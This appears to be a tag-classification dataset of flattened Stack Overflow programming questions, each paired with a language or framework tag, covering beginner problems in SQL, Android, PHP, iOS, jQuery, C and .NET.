sql query! can someone explain this   <a href= https://i.stack.imgur.com/soskr.png  rel= nofollow noreferrer ><img src= https://i.stack.imgur.com/soskr.png  alt= enter image description here ></a>    q1 : list employees who have the biggest salary in their departments    q2 : list employees that don t have a boss in the same department    q1 answer)    <pre><code>select e.name  max_sal.sal  from employees e    join (select d.departmentid max(e.salary) as sal          from employees e            join departments d on e.departmentid=d.departmentid          group by d.departmentid   ) as max_sal      on e.departmentid=max_sal.departmentid      and e.salary=max_sal.sal; </code></pre>   in q2  i don t understand the question  [don t have a boss in the same department]. how to know boss is in which department,sql
commentbox instead of text box   i want the user to be able to leave comments  a few sentences perhaps. textbox is to no use  but i see no asp:commentbox    any advice on what to use instead     thanks,asp.net
android show random questions  how can i show random questions. i looked in the other posts but the answers there didn t work . this has 3 difficulty easy medium hard . i want to make the questions random per difficulty . thanks    quizactivity:   <pre><code>public class quizactivity extends activity {     int score = 0;     int qnum = 1;     textview txtquestion;     radiobutton rda  rdb  rdc  rdd;     button butnext;     radiogroup rdgrp;      string coranswer =   ;      @override     protected void oncreate(bundle savedinstancestate) {         super.oncreate(savedinstancestate);         this.setrequestedorientation(activityinfo.screen_orientation_landscape);         setcontentview(r.layout.activity_quiz);         dbhelper db = new dbhelper(this);         rdgrp = (radiogroup) findviewbyid(r.id.questionandanswers);         txtquestion = (textview) findviewbyid(r.id.textview1);         rda = (radiobutton) findviewbyid(r.id.radio0);         rdb = (radiobutton) findviewbyid(r.id.radio1);         rdc = (radiobutton) findviewbyid(r.id.radio2);         rdd = (radiobutton) findviewbyid(r.id.radio3);         butnext = (button) findviewbyid(r.id.button1);           coranswer =   ;         oncreatequestion();     }        @override     public boolean oncreateoptionsmenu(menu menu) {         getmenuinflater().inflate(r.menu.activity_quiz  menu);         return true;     }       public void oncreatequestion() {         string level = getintent().getextras().getstring( level );         dbhelper db = new dbhelper(this);         db.getquestbylevel(level  qnum);          txtquestion.settext(db.question);         rda.settext(db.optiona);         rdb.settext(db.optionb);         rdc.settext(db.optionc);         rdd.settext(db.optiond);         coranswer = db.answer;          qnum++;      }      public void onclicknext(view view) {         string level = getintent().getextras().getstring( level );         dbhelper db = new dbhelper(this);         db.getquestbylevel(level  qnum);          radiogroup grp = (radiogroup) findviewbyid(r.id.questionandanswers);         radiobutton answer = (radiobutton) findviewbyid(grp.getcheckedradiobuttonid());         if (answer == null)         {             toast.maketext(quizactivity.this   select an answer please   toast.length_short).show();               return;         }         if (coranswer!= null &amp;&amp; coranswer.equalsignorecase((string) answer.gettext()))         {             score++;             log.d( answer    your score  + score);         }         if (qnum &lt;= 5) {           } else {             intent intent = new intent(quizactivity.this  resultactivity.class);             bundle b = new bundle();             b.putint( score   score);             intent.putextras(b);             startactivity(intent);             finish();         }          txtquestion.settext(db.question);         rda.settext(db.optiona);         rdb.settext(db.optionb);         rdc.settext(db.optionc);         rdd.settext(db.optiond);         coranswer = db.answer;         qnum++;         rdgrp.clearcheck();     }   } </code></pre>   database:   <pre><code> public class dbhelper extends sqliteopenhelper {     private static final int database_version = 1;     private static final string database_name =  quiz ;     private static final string table_quiz =  quiz ;     private static final string key_id =  id ;     private static final string key_ques =  question ;     private static final string key_answer =  answer ;     private static final string key_opta =  opta ;     private static final string key_optb =  optb ;     private static final string key_optc =  optc ;     private static final string key_optd =  optd ;     private static final string q_level =  level ;     private static final string questionnumber =  q_number ;     private sqlitedatabase dbase;     public string question  optiona  optionb  optionc  optiond  answer;      public dbhelper(context context) {         super(context  database_name  null  database_version);     }      @override     public void oncreate(sqlitedatabase db) {         dbase = db;         string sql =  create table if not exists   + table_quiz +   (                   + key_id +   integer primary key autoincrement    + key_ques                 +   text    + key_answer +   text    + key_opta +   text                    + key_optb +   text    + key_optc +   text    + key_optd  +  text    + q_level +   text    + questionnumber +   integer) ;         db.execsql(sql);         db.execsql( insert into   + table_quiz +  (  + key_ques +      + key_opta +      + key_optb +      + key_optc +      + key_optd +      + key_answer +      + q_level +      + questionnumber +  )values(  +                   q1   a1   a2   a3   a4   answer   easy   1 ) );         db.execsql( insert into   + table_quiz +  (  + key_ques +      + key_opta +      + key_optb +      + key_optc +      + key_optd +      + key_answer +      + q_level +      + questionnumber +  )values(  +                   q2   a1   a2   a3   a4   answer   easy   2 ) );         db.execsql( insert into   + table_quiz +  (  + key_ques +      + key_opta +      + key_optb +      + key_optc +      + key_optd +      + key_answer +      + q_level +      + questionnumber +  )values(  +                   q3   a1   a2   a3   a4   answer   easy   3 ) );         db.execsql( insert into   + table_quiz +  (  + key_ques +      + key_opta +      + key_optb +      + key_optc +      + key_optd +      + key_answer +      + q_level +      + questionnumber +  )values(  +                   q4   a1   a2   a3   a4   answer   easy   4 ) );         db.execsql( insert into   + table_quiz +  (  + key_ques +      + key_opta +      + key_optb +      + key_optc +      + key_optd +      + key_answer +      + q_level +      + questionnumber +  )values(  +                   q5   a1   a2   a3   a4   answer   easy   5 ) );            db.execsql( insert into   + table_quiz +  (  + key_ques +      + key_opta +      + key_optb +      + key_optc +      + key_optd +      + key_answer +      + q_level +      + questionnumber +  )values(  +                   q1   a1   a2   a3   a4   answer   medium   1 ) );         db.execsql( insert into   + table_quiz +  (  + key_ques +      + key_opta +      + key_optb +      + key_optc +      + key_optd +      + key_answer +      + q_level +      + questionnumber +  )values(  +                   q1   a1   a2   a3   a4   answer   medium   2 ) );         db.execsql( insert into   + table_quiz +  (  + key_ques +      + key_opta +      + key_optb +      + key_optc +      + key_optd +      + key_answer +      + q_level +      + questionnumber +  )values(  +                   q1   a1   a2   a3   a4   answer   medium   3 ) );         db.execsql( insert into   + table_quiz +  (  + key_ques +      + key_opta +      + key_optb +      + key_optc +      + key_optd +      + key_answer +      + q_level +      + questionnumber +  )values(  +                   q1   a1   a2   a3   a4   answer   medium   4 ) );         db.execsql( insert into   + table_quiz +  (  + key_ques +      + key_opta +      + key_optb +      + key_optc +      + key_optd +      + key_answer +      + q_level +      + questionnumber +  )values(  +                   q1   a1   a2   a3   a4   answer   medium   5 ) );           db.execsql( insert into   + table_quiz +  (  + key_ques +      + key_opta +      + key_optb +      + key_optc +      + key_optd +      + key_answer +      + q_level +      + questionnumber +  )values(  +                   q1   a1   a2   a3   a4   answer   hard   1 ) );         db.execsql( insert into   + table_quiz +  (  + key_ques +      + key_opta +      + key_optb +      + key_optc +      + key_optd +      + key_answer +      + q_level +      + questionnumber +  )values(  +                   q1   a1   a2   a3   a4   answer   hard   2 ) );         db.execsql( insert into   + table_quiz +  (  + key_ques +      + key_opta +      + key_optb +      + key_optc +      + key_optd +      + key_answer +      + q_level +      + questionnumber +  )values(  +                   q1   a1   a2   a3   a4   answer   hard   3 ) );         db.execsql( insert into   + table_quiz +  (  + key_ques +      + key_opta +      + key_optb +      + key_optc +      + key_optd +      + key_answer +      + q_level +      + questionnumber +  )values(  +                   q1   a1   a2   a3   a4   answer   hard   4 ) );         db.execsql( insert into   + table_quiz +  (  + key_ques +      + key_opta +      + key_optb +      + key_optc +      + key_optd +      + key_answer +      + q_level +      + questionnumber +  )values(  +                   q1   a1   a2   a3   a4   answer   hard   5 ) );         addquestions();         //db.close();     }      private void addquestions() {      }      @override     public void onupgrade(sqlitedatabase db  int oldv  int newv) {         db.execsql( drop table if exists   + table_quiz);         oncreate(db);     }        public void getquestbylevel(string level  int qnum) {         string selectquery =  select * from   + table_quiz +   where   + q_level  +  =    + level +    and  +questionnumber+  =  +qnum+   ;           sqlitedatabase db = this.getreadabledatabase();          cursor cursor = db.rawquery(selectquery  null);         if (cursor.movetofirst()) {             do {                  question=cursor.getstring(cursor.getcolumnindex(key_ques));                 optiona=cursor.getstring(cursor.getcolumnindex(key_opta));                 optionb=cursor.getstring(cursor.getcolumnindex(key_optb));                 optionc=cursor.getstring(cursor.getcolumnindex(key_optc));                 optiond=cursor.getstring(cursor.getcolumnindex(key_optd));                 answer=cursor.getstring(cursor.getcolumnindex(key_answer));               } while (cursor.movetonext());          }     } } </code></pre>   logcat:   <pre><code> 01-22 23:23:41.285    8685-8685/com.dreamteam.quiz.project  e/androidruntime﹕ fatal exception: main     process: com.dreamteam.quiz.project  pid: 8685     java.lang.runtimeexception: unable to start activity componentinfo{com.dreamteam.quiz.project/com.example.quiz.project.quizactivity}: android.database.sqlite.sqliteexception: near  order : syntax error (code 1):   while compiling: select * from quiz where level =  easy  and q_number = 1 + order by random() limit 5             at android.app.activitythread.performlaunchactivity(activitythread.java:2319)             at android.app.activitythread.handlelaunchactivity(activitythread.java:2370)             at android.app.activitythread.access$800(activitythread.java:155)             at android.app.activitythread$h.handlemessage(activitythread.java:1243)             at android.os.handler.dispatchmessage(handler.java:102)             at android.os.looper.loop(looper.java:136)             at android.app.activitythread.main(activitythread.java:5426)             at java.lang.reflect.method.invokenative(native method)             at java.lang.reflect.method.invoke(method.java:515)             at com.android.internal.os.zygoteinit$methodandargscaller.run(zygoteinit.java:1268)             at com.android.internal.os.zygoteinit.main(zygoteinit.java:1084)             at dalvik.system.nativestart.main(native method)      caused by: android.database.sqlite.sqliteexception: near  order : syntax error (code 1):   while compiling: select * from quiz where level =  easy  and q_number = 1 + order by random() limit 5             at android.database.sqlite.sqliteconnection.nativepreparestatement(native method)             at android.database.sqlite.sqliteconnection.acquirepreparedstatement(sqliteconnection.java:1112)             at android.database.sqlite.sqliteconnection.prepare(sqliteconnection.java:689)             at android.database.sqlite.sqlitesession.prepare(sqlitesession.java:588)             at android.database.sqlite.sqliteprogram.&lt;init&gt;(sqliteprogram.java:58)             at android.database.sqlite.sqlitequery.&lt;init&gt;(sqlitequery.java:37)             at android.database.sqlite.sqlitedirectcursordriver.query(sqlitedirectcursordriver.java:44)             at android.database.sqlite.sqlitedatabase.rawquerywithfactory(sqlitedatabase.java:1433)             at android.database.sqlite.sqlitedatabase.rawquery(sqlitedatabase.java:1372)             at com.example.quiz.project.dbhelper.getquestbylevel(dbhelper.java:97)             at com.example.quiz.project.quizactivity.oncreatequestion(quizactivity.java:60)             at com.example.quiz.project.quizactivity.oncreate(quizactivity.java:45)             at android.app.activity.performcreate(activity.java:5296)             at android.app.instrumentation.callactivityoncreate(instrumentation.java:1094)             at android.app.activitythread.performlaunchactivity(activitythread.java:2283)             at android.app.activitythread.handlelaunchactivity(activitythread.java:2370)             at android.app.activitythread.access$800(activitythread.java:155)             at android.app.activitythread$h.handlemessage(activitythread.java:1243)             at android.os.handler.dispatchmessage(handler.java:102)             at android.os.looper.loop(looper.java:136)             at android.app.activitythread.main(activitythread.java:5426)             at java.lang.reflect.method.invokenative(native method) </code></pre>,android
difference between window.location and location.href  i am confused as to the difference between <code>window.location</code> and <code>location.href</code>. both appear to be acting in the same way.    what is the difference,javascript
why doesn t jquery.html() return html text for image objects   example:   <pre><code>var html_string =  &lt;img src= http://www.example.com/image.jpg  /&gt;  $(html_string).html() </code></pre>   produces:   <pre><code>   // an empty string </code></pre>   would expected that i d get back the original html string in <code>html_string</code>.     what s going on  how can i get an the results i expected,jquery
putenv/setenv using substitutions  i need user to define all the environment variables needed for my program in a text file as shown below.    mydllpath = c:\mydllpath<br> myoption = option1<br> path = %mydllpath%;%path%;    in my program i read each line and call putenv with the string. problem is that the environment substitutions (%mydllpath%) are not being expanded. i am guessing the following fix for that <br>- check each line for % characters.<br>- get the text between 2 consecutive % characters.<br>- call getenv using the text<br>- replace value obtained above into the line and then call putenv.    is there a better way to do it     edit: starting with windows platform. will have to do unix but not sure how to deal with unix syntax for the substitutions.,c
how can i rename a file with the name of the original and delete the original file  <pre><code>import java.io.*; import java.util.*; import java.lang.*;  public class filewritingapp{     public static void main(string[] args) {         string inputfilename =  marks.txt ; // it expects to find this file in the same folder as the source code         string outputfilename =  fakemarks.txt ; // the program will create this file         printwriter outfile;         string name choice;          int mark1 mark2;         boolean flag=false;         scanner input = new scanner(system.in);         system.out.println( do you want to add or find a student  );          try {             outfile = new printwriter(new filewriter(outputfilename) true); // create a new file object to write to             file file = new file(inputfilename); // create a file object to read from             file file1 = new file(outputfilename);             scanner scanner = new scanner(file); // a scanner object which will read the data from the file passed in.             choice= input.nextline();              switch(choice){                 case  f :                     system.out.println( enter a name: );                     name=input.nextline();                      while (scanner.hasnextline()) { // this will loop until there are no more lines to read                         string line = scanner.nextline();                         if(line.contains(name)){                             system.out.println( enter the first mark set: );                             mark1=input.nextint();                              system.out.println( enter the second mark set: );                             mark2=input.nextint();                              line=name+     + mark1 +    + mark2;                             outfile.println(line);                             flag=true;                         } else {                             outfile.println(line);                         }                     }                      if(flag==false){                         system.out.println(   +name+   +  wasn t found );                     }                      break;                  case  a :                     while (scanner.hasnextline()) {                         string line = scanner.nextline();                         outfile.println(line);                     }                     system.out.println( enter a name: );                     name=input.nextline();                      system.out.println( enter the first mark set: );                     mark1=input.nextint();                      system.out.println( enter the second mark set: );                     mark2=input.nextint();                      outfile.println(name+     + mark1 +    + mark2);                     break;             }              ***scanner.close();             outfile.close();             if(file1.renameto(file)){                 system.out.println( rename succesful );             } else {                 system.out.println( rename unsuccesful );             }             if(file.delete()){                 system.out.println( delete succesful );             } else {                 system.out.println( delete unsuccesful );             }***             }catch (ioexception e) {             e.printstacktrace();         }     } } </code></pre>   what i am having a problem with is that every time i run the program it returns false for changing the name of the new file to the original file and deleting the original file itself. i would appreciate if someone posted some code to solve this. i have highlighted the code that outputs feedback above.,java
mysql trigger not firing after insert  i have created a new trigger in my mysql database to update a cell value after an insert. the cell that i want to update (gp_per) as default is set to a null value.    here is the trigger:   <pre><code>set @gp_per = ((@retail_price - (@retail_price * 0.23)) - @cost_price) / (@retail_price * 0.23) </code></pre>   it created fine and i got no syntax errors but when i try to insert a new row  the gp_per cell is down as null rather than updating with the correct value. i haven t really used triggers before so i m not 100% sure what i am doing wrong.    below is the trigger:    <a href= https://i.stack.imgur.com/r2jrt.jpg  rel= nofollow noreferrer ><img src= https://i.stack.imgur.com/r2jrt.jpg  alt= enter image description here ></a>    and the structure of the table:     <a href= https://i.stack.imgur.com/dds19.png  rel= nofollow noreferrer ><img src= https://i.stack.imgur.com/dds19.png  alt= enter image description here ></a>    thanks for any feedback!,mysql
do universal apps mean that the download size is larger than needed for iphone and ipod devices   including @2x and ~ipad graphics in an app i am working on increases the app size by eight megabytes.  this  along with other graphics that have to be done in triplicate makes apps in general grow very quickly.    i am wondering what happens when someone downloads a universal app onto  say  an ipod touch.  do they get the entire package  including @2x and ~ipad images that they  effectively  won t use or does apple repackage the application to only send relevant graphics     if it s option #2  are there any dangers in trying to save some space by using code to apply @2x images to the ipad version of an app.  after all  in most cases @2x and ~ipad assets are so close in size that it makes little sense to duplicate files.,ios
how to place a div at the bottom of another div   i want to place one div (id esharing) at the bottom of another div (content-primary)    here is the css class for div (id content-primary)   <pre><code>.layout-3 #content-primary {     padding: 0 10px;     width: 502px; }  #content-primary.article {     padding-bottom: 2.5em; }  #content-primary {     width: 501px; }  #content-primary {     clear: left;     float: left;     margin: 12px 0 0;     padding: 0 10px;     width: 500px; } </code></pre>   here is the css class for div ( id esharing)   <pre><code>#esharing {     height: 230px;     margin: 12px 0 0;     overflow: auto;     padding: 0 10px;     position: relative; } </code></pre>   screeshot link <a href= https://i.stack.imgur.com/bmqxd.png  rel= nofollow noreferrer >http://i.stack.imgur.com/bmqxd.png</a>    screenshot 2 <img src= https://i.stack.imgur.com/xiouc.png  alt= here is the correct placements of these divs >    <img src= https://i.stack.imgur.com/bmqxd.png  alt= enter image description here >,css
exception noclassdef founderror android  i have impelemented the actionbar using fragementactivity for view pager action bar using swipe working fne in api leve1 17 or above but coming to the lower version 2.2 to 4.0.3 it showing noclassdef error it is tourching so much please help me to how to retify this code pls help.... target version is 17 the person who solves answer i wll give party dnt miss my party get ready for answer    this is my code   <pre><code>public class cbntabs extends fragmentactivity implements actionbar.tablistener{  private viewpager viewpager; private tabspageradapter madapter;  actionbar actionbar; string result; // tab titles private string[] tabs = {  cbn voice    cbn message  };   @override protected void oncreate(bundle savedinstancestate) {     super.oncreate(savedinstancestate);      //requestwindowfeature(window.feature_no_title);     setcontentview(r.layout.tabs);      bundle bundle = getintent().getextras();      if(bundle!=null)      {          result=bundle.getstring( results );       }      // initilization     viewpager = (viewpager) findviewbyid(r.id.pager);     actionbar = getactionbar();     madapter = new tabspageradapter(getsupportfragmentmanager() result);     /**/      actionbar.setnavigationmode(actionbar.navigation_mode_tabs);       actionbar.setdisplayhomeasupenabled(true);                actionbar.setbackgrounddrawable(getresources().getdrawable(r.drawable.header_bg));      actionbar.settitle( telugu desam party  elite club );      view customnav = layoutinflater.from(this).inflate(r.layout.custom_show_action_bar  null);     viewpager.setadapter(madapter); </code></pre>,android
value of type [uitableviewcell] has no member  performseguewithidentifier   if a label is tapped in a table view cell  i would like to perform a segue to take you to another page.     i get the following error value of type [uitableviewcell] has no member  performseguewithidentifier    <pre><code>class ideacell: uitableviewcell {      override func awakefromnib() {         super.awakefromnib()          let tapuser = uitapgesturerecognizer(target: self  action: #selector(ideacell.gotouserpage(_:)))         tapuser.numberoftapsrequired = 1         usernamelbl.addgesturerecognizer(tapuser)     }  func gotouserpage(sender: uitapgesturerecognizer) {         self.performseguewithidentifier( gototablefromoriginal   sender: nil)     } } </code></pre>,ios
passing as const and by reference - worth it  <blockquote>    <strong>possible duplicate:</strong><br>   <a href= https://stackoverflow.com/questions/2139224/how-to-pass-objects-to-functions-in-c >how to pass objects to functions in c++ </a>    </blockquote>     in my game i make excessive use of mathematical vectors and operator overloading of them.   <pre><code>class vector {    float x  y; }; </code></pre>   that s basically all about my vector class (methods excluded).    i am not an expert in c++ and i ve seen and read about passing as const and passing by reference.    so  where are the performance differences in the below code example    <pre><code>float randomcalculation( vector a  vector b ) {     return a.x * b.x / b.x - a.x * random_constant; }  // versus..  float randomcalculation( vector&amp; a  vector&amp; b ) {     return a.x * b.x / b.x - a.x * random_constant; }  // versus..  float randomcalculation( const vector&amp; a  const vector&amp; b ) {     return a.x * b.x / b.x - a.x * random_constant; } </code></pre>  <ul> <li>which of the three should i use  and why </li> <li> what advantages for the optimization process of the compiler does each of the options have  </li> <li> when and where do i have to be especially careful  </li> </ul>,c++
how to delay ng-keyup call in angular js  keyup in build directive of angular for filtering the record but i want to delay the function call so user can enter the full word and call can go to db and fetch the record instead of single word. my line of code is    <pre><code>  &lt;input ng-show= !$scope.norpdata  type= text  ng-keyup= filterrp($event)  class= filterrp form-control  id= txtfilterid  ng-model= rpfilter.modifieddate.value  /&gt; </code></pre>   filterrp is the function for which i want to delay the call by 4 second. please suggest,angularjs
how to add extra virtual attribute to wrap_parameters  i have a model with some virtual attributes  and they are included in my form and gets submitted to the controller  but i cannot get the virtual attributes (sku) to wrap inside the model hash   <pre><code> { name =&gt; productname    description =&gt; description    sku =&gt; ak0001    product =&gt;{ name =&gt; productname    description =&gt; description }} </code></pre>   i can use the wrap_parameters to overwrite it  but i would have to add all attributes (virtual and non-virtual attributes) to the array  can t i just add the virtual attributes to the existing wrap parameter    <pre><code>wrap_parameters product  :include =&gt; [:sku  :name  ..etc...] </code></pre>,ruby-on-rails
how to save detailedview in edit mode from another button  is there a way to save a detailview  that is in edit mode from another button that is not part of the detailview   in other words i have a detailview that is in edit mode and has the save or the update button but sometimes the users forget to click the save button and they just go ahead and click another button that is the bottom of the page.  i want to make sure the data they entered in the detailview to be saved first when they click the other button. i have this command names:   <pre><code>&lt;edititemtemplate&gt;                         &lt;asp:button id= button1  runat= server  causesvalidation= true                               commandname= update  text= save changes  /&gt;                         &amp;nbsp;&lt;asp:button id= button2  runat= server  causesvalidation= false                               commandname= cancel  visible= false  text= cancel  /&gt;                      &lt;/edititemtemplate&gt;                      &lt;itemtemplate&gt;                         &lt;asp:button id= button1  runat= server  causesvalidation= false                               commandname= edit  text= save changes  /&gt;                     &lt;/itemtemplate&gt;   </code></pre>   this is what i have done after your suggestion:,asp.net
how to create empty folder in unc path in .net   i want to create an empty folder in unc path and copy all the files from local disk to that particular empty folder. i tried <code>wdengine.uploadfile</code> but it seems that it only works on local disks. <code>file.copy</code> works fine at copying all the files but the only problem lies at how to create an empty folder in unc path in order to paste in all the files copied from local disk.    appreciate your response  thanks!,.net
value is not stored automatically in the database after executing the script  this is the  php code to show fb style like / unlike which works fine after inserting values in the database manually..but i want my values to be inserted and stored in the database automatically after executing the script   <pre><code>include( db.php ); if($_request[ postid ]) {     $userip = $_server[ remote_addr ];      mysql_query( update likes set likes=likes+1 where post_id=  .$_request[ postid ]);      mysql_query( insert into ip (userip post_id) values(  .$userip.     .$_request[ postid ].  ) );      $total_likes = mysql_query( select * from facebook_collapsed_likes where post_id =  .$_request[ postid ].   );     $likes = mysql_fetch_array($total_likes);     $likes = $likes[ likes ]; } echo $likes; </code></pre>,php
android layout help  i have a list view and i have to design a row layout to be used in adapter. the layout is like this.   <pre><code>first column we have an icon on left most side.  second column we have a string of about 4-30 characters  last column  the date with time.  </code></pre>   i tried to design in relative layout but it gave issues like the last two columns  strings were overlapped. i want to specify certain percentage of width to a column  if string doesn t fit  it must start in new line (same row  with gravity as center). this is row layout  so i dont want it to be very heavy. and i dont want to hard code the width in dp.,android
what is appdeleget file  <blockquote>    <strong>possible duplicate:</strong><br>   <a href= https://stackoverflow.com/questions/652460/what-is-the-appdelegate-for-and-how-do-i-know-when-to-use-it >what is the appdelegate for and how do i know when to use it </a>    </blockquote>     when we create any new project in objective-c.we get two appdeleget file..so waht is the meaning of appdeleget..,objective-c
graphic character prints when reading a file from the command line  my program takes in the constitution  reverses the line order  and prints the constitution in reverse order back in the command line. when i put the algorithm to reverse the lines in a separate function  linereversal  the only thing that prints is ▒▒▒.   <pre><code>int main(){  char * buffer;  char * strings[1000];    int arraycount =0; int size = 10;  while(!feof(stdin)) {     buffer= (char*) malloc(size);     getaline(&amp;buffer  &amp;size); //gets each line from the constitution      strings[arraycount++] = buffer; }  linereversal(&amp;strings);  return 0; }  char linereversal(char ** stringptr) { char * strings = *stringptr;  for(int i = 873; i &gt;=0 ; i--) {     if(strings[i] ==  \0 ){         break;     }     printf( %s   strings + i); }  *stringptr = strings; return 0; }  </code></pre>   if i put that algorithm into main() and run my program  this is my output:   <pre><code>h▒▒▒▒▒▒▒▒▒▒▒▒dhave intervened.representatives  shall take effect  until an election of representatives shall </code></pre>   the expected output is:   <pre><code>have intervened. </code></pre>   this is what my program looks like with the algorithm inside main.   <pre><code>int main(int argc  char ** argv){  char * buffer;  char * strings[1000];    int arraycount =0; int size = 10;  while(!feof(stdin)) {     buffer= (char*) malloc(size);     getaline(&amp;buffer  &amp;size);      strings[arraycount++] = buffer; }  for(int i = 873; i &gt;=0 ; i--)     {     if(strings[i] ==  \0 ){         break;     }     printf( %s   strings[i]); }  return 0; } </code></pre>,c
complicated ios multitouch interaction - any suggestions   i have subclassed a uiview that already handles single touches and drags. i want to enhance the interaction of this view so that  while dragging  if the user touches with a second finger (anywhere else in the view)  then the system prints a message. i ve made a stab at the code:    in my header file i ve declared:   <pre><code>nsstring *key; // this unique key identifies the first touch </code></pre>   my .m file i have:   <pre><code>- (void)touchesbegan:(nsset *)touches withevent:(uievent *)event  {      for (uitouch *t in touches) {         if (key == null)         {             key = [[[nsvalue valuewithpointer:t] description] copy];         }         if ([key isequaltostring:[[nsvalue valuewithpointer:t] description]])         {             nslog(@ calling parent to handle single touch );             [super touchesbegan:[nsset setwithobject:t] withevent:event];         }         else         {             [self twotouchdetected];         }     } }  -(void) touchesmoved:(nsset *)touches withevent:(uievent *)event {     for (uitouch *t in touches) {         if ([key isequaltostring:[[nsvalue valuewithpointer:t] description]])         {             [super touchesmoved:[nsset setwithobject:t] withevent:event];         }     } }  -(void) touchesended:(nsset *)touches withevent:(uievent *)event {     for (uitouch *t in touches) {         if ([key isequaltostring:[[nsvalue valuewithpointer:t] description]])         {             [super touchesended:[nsset setwithobject:t] withevent:event];             key = null;         }     } } </code></pre>   unfortunately there are issues with this implementation. the first time (while dragging with one finger) if i touch with the second figer  the system will register it immediately. however  the second time i touch with a second finger (while still continuing to drag with the first finger)  the second finger touch does not register until the first finger is lifted up. the events from the second finger are backed up...    what is also strange is that sometimes  the parent gets called with touch data from the 2nd finger and not the 1st.,ios
how would i reduce nesting for form validation in php   this is function is taking up a lot of lines on my functions page.     i can t figure out on how to take it down unless putting them into an array  then using a <code>foreach</code> loop. but i want it to be specific on what is not allowed to be blank.   <pre><code>if ($employeeid ===   ) {   echo  employeeid is blank. ;  } else {   if ($firstname ===   )   {     echo  firstname is blank. ;   }   else   {     if ($lastname ===   )     {       echo  last name is blank ;      }     else     {       if ($phonenumber ===   )       {         echo  phone number is blank ;        }       else       {         if ($address ===   )         {           echo  address is blank ;          }         else         {           if ($city ===   )           {             echo  city is blank ;            }           else           {             if ($state ===   )             {               echo  sate is blank ;              }             else             {               if ($zip ===   )               {                 echo  zip is blank ;                }               else               {                 if ($email ===   )                 {                   echo  email is blank ;                  }                 else                 {                   if ($password ===   )                   {                     echo  password is blank ;                    }                   else                   {                     echo  all success ;                   }                 }               }             }           }         }       }     }   } } </code></pre>   the solution i have found which takes the lines down  but doesn t give me the exact on what field is left empty is:   <pre><code>$array = array(); $array[] = $empid; $array[] = $firstname; $array[] = $lastname; $array[] = $phonenumber; $array[] = $address; $array[] = $city; $array[] = $state; $array[] = $zip; $array[] = $email; $array[] = $password;    foreach ($array as $checking)  {   if (empty($checking))   {     echo  one or more is left blank ;      exit;   } } </code></pre>,php
errors running builder  android resource manager   mac os x ver 10.6.8 android developer tools   build: v22.3.0-887826 (includes eclipse platform)    need help in a error:     errors occurred during the build. errors running builder  android resource manager  on project  test . java.lang.nullpointerexception    how to fix it please any help.  i new to adt,android
executereaderasync task hangs / continuously waitingforactivation  i have the following procedure that seems straightforward but just waits continuously without timing out:   <pre><code>public overrides async function executereaderasync() as task(of boolean)     if not isnothing(command) then  command is a the standard sqlcommand object         if not isnothing(command.connection) then             try                 executionfailed = true                 command.connection.open()                 reader = await command.executereaderasync                 isexecuted = true                 executionfailed = false                 return true             catch ex as exception                 debugger.break()             end try         end if     end if      return false end function </code></pre>   the above code executes the reader = await command.executereaderasync line and just hangs there.     if i replace that line with these:   <pre><code>dim t = command.executereaderasync reader = await t </code></pre>   and break at the await  i can see task t has a status of waitingforactivation. i can also see on the sql profiler that the sp the reader is calling has been executed correctly.    now for the weird part - if i add a thread.sleep for 10ms and then look at t  the task has runtocompletion as its status and all is well in the world.   <pre><code>dim t = command.executereaderasync system.threading.thread.sleep(10) reader = await t </code></pre>   i m quite willing to accept i am doing something wrong (it s normally the case...) but i have no idea what in this case.,.net
exc_bad_access when returning a cgrect in iphone  i have a class which must return a cgrect from one of its methods:   <pre><code>-(cgrect)myrect {     cgrect rect = cgrectmake(self.mysprite.position.x self.mysprite.position.y self.mysprite.texturerect.size.width  self.mysprite.texturerect.size.height);     return rect; } </code></pre>   i get an exc_bad_access as soon as i try to access the mysprite ivar.    thing is if i call it  the instance variable mysprite is full of garbage. but if i change the function to return void  self.mysprite does contain the correct data.   <pre><code>-(void)myrect {     cgrect rect = cgrectmake(self.mysprite.position.x self.mysprite.position.y self.mysprite.texturerect.size.width  self.mysprite.texturerect.size.height);     return rect; } </code></pre>   that does not crash when accessing mysprite...,iphone
how to use autocomplete jquery for different column fields   in the textbox field while creating writing some text say a task  user can enter like this    <blockquote>    this is a new task in #st for £sunil.  </blockquote>   then system has to capture the program st and developer sunil by searching database  in short i have to apply multiple autocomplete in a single textbox    i am trying this by jquery but unable to do this for multiple fields,jquery
join() got multiple values for argument  path   i m trying to build a path with <code>os.path.join</code>  but i get <code>typeerror: join() got multiple values for argument  path </code>.  how do i fix this error    <pre><code>path = os.path.join( posts   path=posts_file_extension) </code></pre>,python
for eaching into a class s members  is there a way to enumerate or simply for each into a class s member variables in .net   i have a static class  which i want to use for holding the application settings  so while saving the settings i basically want to copy the values of the static class to a instance of a class containg the same set of (non-static) variables .    so i thought  if only i could foreach or even for() (for that matter..pun unintended) it would be easier,.net
is it possible to build an iphone view without using interface builder   so interface builder does things to save time but what if i want to do without it   in c# all code generated is clear and understandable  in interface builder this is hidden so i d like at least during learning phase do things from scratch: any sample code to do so      seems apple makes things very hard so as you cannot easily use alternative to xcode :)    <a href= http://cocoawithlove.com/2009/02/interprocess-communication-snooping.html  rel= nofollow noreferrer >http://cocoawithlove.com/2009/02/interprocess-communication-snooping.html</a>,iphone
joining property values of objects in an array  i have an array of objects. the objects have a property called <code>username</code>. is there a way to concatenate the <code>username</code> values into a comma delimited string  i assume i can use the <code>join</code> function but the only way i can think of takes two steps.   <pre><code>var usernames: string[]; objectarr.foreach((o) =&gt; { usernames.push(o.username); }); var usernamesjoined = usernames.join(   ); </code></pre>   is there a way to do it in one line of code,javascript
